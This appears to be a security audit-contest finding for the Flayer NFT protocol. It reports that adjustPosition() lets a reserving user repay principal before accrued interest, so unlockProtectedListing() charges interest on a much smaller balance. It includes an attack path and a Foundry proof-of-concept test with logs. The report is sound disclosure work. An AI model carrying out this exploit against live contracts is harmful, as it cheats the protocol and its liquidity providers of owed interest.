sherlock-audit / 2024-08-flayer-judging

0 stars 0 forks source link

Massive Emerald Python - Malicious users that reserve NFTs, can adjust their protectedPositions, and pay much less interest rate that they should #762

Open sherlock-admin4 opened 4 days ago

sherlock-admin4 commented 4 days ago

Massive Emerald Python

High

Malicious users that reserve NFTs, can adjust their protectedPositions, and pay much less interest rate that they should

Summary

The Flayer protocol allows users to reserve NFTs that they can't immediately buy via the reserve() function. Users that reserve should pay interest rate until they fully unlock the NFT, and provide some collateral. The protocol allows suers to modify their protected listing via the adjustPosition() function, however the interest rate that is owned up to this moment is not taken into account. A malicious user can repay part of the tokens he owes interest over, without first repaying the interest, and then when he decides to fully unlock his NFT via the unlockProtectedListing() function, he will be charged interest only on the amount that is remaining, not on the full amount that he borrowed.

Root Cause

In the adjustPosition() function, the user can repay part of the tokens he is accruing interest over, however the interest owned up to this moment is not taken into account.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Lets consider the following scenario:

  1. When the user reserves the NFT he provides 0.5e18 tokens as collateral, and now he has tokenTaken = 0.5e18 on which he accrues interest.
  2. Time passes and the user has to pay for example 8% on the 0.5e18 tokens.
  3. Instead of paying 8% interest rate on the 0.5e18 tokens, he can repay part of the tokenTaken balance via the adjustPosition() function, lets say 0.4e18
  4. Then when he decides to fully unlock his NFT via the unlockProtectedListing() function, he will be charged 8% interest only on the 0.1e18 tokens that are left.
  5. Instead of paying 8% of interest over 0.5e18 tokens, the user ends up paying 8% interest over 0.1e18 tokens

Impact

A user can pay much less interest that he is supposed to.

PoC

Gist

After following the steps in the above mentioned gist add the following test to the AuditorTests.t.sol file:

    function test_UserCanModifyHisProtectedPostionToPayLessTax() public {
        vm.startPrank(alice);
        collection1.mint(alice, 12);
        collection1.setApprovalForAll(address(listings), true);

        Listings.Listing memory listingAlice = IListings.Listing({
            owner: payable(alice),
            created: uint40(block.timestamp),
            duration: 10 days,
            floorMultiple: 200
        });

        uint256[] memory tokenIdsAlice = new uint256[](1);
        tokenIdsAlice[0] = 12;
        IListings.CreateListing[] memory createLisings = new IListings.CreateListing[](1);       
        IListings.CreateListing memory createListing = IListings.CreateListing({
                collection: address(collection1),
                tokenIds: tokenIdsAlice,
                listing: listingAlice
        });
        createLisings[0] = createListing;
        listings.createListings(createLisings);  
        skip(2);
        vm.stopPrank();

        vm.startPrank(bob);        
        collection1.mint(bob, 13);
        collection1.mint(bob, 14);
        collection1.mint(bob, 15);
        collection1.setApprovalForAll(address(locker), true);
        uint256[] memory tokenIdsBob = new uint256[](3);
        tokenIdsBob[0] = 13;
        tokenIdsBob[1] = 14;
        tokenIdsBob[2] = 15;
        locker.deposit(address(collection1), tokenIdsBob);
        collectionTokenA.approve(address(listings), type(uint256).max);
        listings.reserve(address(collection1), 12, 0.5e18);
        ProtectedListings.ProtectedListing memory protectedListingBob = protectedListings.listings(address(collection1), 12);
        console2.log("Bob's tokenTaken: ", protectedListingBob.tokenTaken);

        /// @notice we skip one year
        skip(31_536_000);
        collectionTokenA.approve(address(protectedListings), type(uint256).max);
        uint256 bobBalanceBeforeAdjustingAnUnlcoking = collectionTokenA.balanceOf(bob);
        uint256 amountThatBobShouldPayIfHeDirectlyUnlocks = protectedListings.unlockPrice(address(collection1), 12);
        console2.log("The current price that needs to be paid to unlock the NFT: ", amountThatBobShouldPayIfHeDirectlyUnlocks);
        protectedListings.adjustPosition(address(collection1), 12, int256(-0.4e18));
        console2.log("The current price that need to be paid to unlock the NFT: ", protectedListings.unlockPrice(address(collection1), 12));
        protectedListings.unlockProtectedListing(address(collection1), 12, true);
        uint256 bobBalanceAfterAdjustingAndUnlocking = collectionTokenA.balanceOf(bob);
        uint256 amountThatBobPaid = bobBalanceBeforeAdjustingAnUnlcoking - bobBalanceAfterAdjustingAndUnlocking;
        console2.log("Amount that bob paid if he adjusted his position before unlocking it: ", amountThatBobPaid);
        assertEq(collection1.ownerOf(12), bob);
        assert(amountThatBobShouldPayIfHeDirectlyUnlocks > amountThatBobPaid);
        vm.stopPrank();
    }
Logs:
  Bob's tokenTaken:  500000000000000000
  The current price that needs to be paid to unlock the NFT:  626499999985927999
  The current price that need to be paid to unlock the NFT:  125299999997185599
  Amount that bob paid if he adjusted his position before unlocking it:  525299999997185599

To run the test use: forge test -vvv --mt test_UserCanModifyHisProtectedPostionToPayLessTax

Mitigation

No response